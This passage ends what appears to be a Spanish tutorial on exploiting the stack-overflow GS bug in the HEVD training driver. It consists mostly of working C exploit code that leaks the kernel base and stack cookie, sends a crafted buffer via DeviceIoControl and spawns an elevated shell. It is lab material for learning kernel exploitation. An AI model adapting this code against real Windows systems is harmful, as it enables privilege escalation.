LPVOID lpvNtKrnl = GetKernelModuleBase("ntoskrnl");
if (lpvHEVD == NULL)
{
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
if (lpvNtKrnl == NULL)
{
printf("[-] Failed to obtain the base address of ntoskrnl\n");
return -1;
}
printf("[*] Exploitation started....\n");
printf("[*] Base address of HEVD @{0x%p}\n", lpvHEVD);
printf("[*] Base address of NT @{0x%p}\n", lpvNtKrnl);
printf("[*] Attempting to leak __security_cookie\n");
cookie = LeakCookie(hHEVD, lpvHEVD);
if (cookie == 0x00)
{
printf("[-] Failed to leak stack cookie\n");
}
/* I found I need to hammer the stack leak to get it to work :| */
while (1) {
LeakStack(L"poc.exe", &lpvStackLeak);
if (lpvStackLeak != NULL) {
break;
}
}
if (lpvStackLeak == NULL)
{
printf("[-] Failed to leak stack address\n");
return -1;
}
lpvMemoryAlloc = VirtualAlloc(NULL,
ALLOCATION_SIZE,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvMemoryAlloc == NULL)
{
printf("[*] Failed to create exploitation buffer\n");
return -1;
}
dwExploitBuffer = GenerateExploitBuffer(lpvNtKrnl, lpvStackLeak, cookie, lpvMemoryAlloc);
printf("[*] Sending payload!!!\n", dwExploitBuffer);
DeviceIoControl(hHEVD,
STACK_OVERFLOW_GS_IOCTL,
lpvMemoryAlloc,
dwExploitBuffer,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation success!!! Enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Una vez enviados, obtenemos nuestra sesión privilegiada!
Recursos
https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html
https://github.com/sam-b/windows_kernel_address_leaks/tree/3810bec445c0afaa4e23338241ba0359aea398d1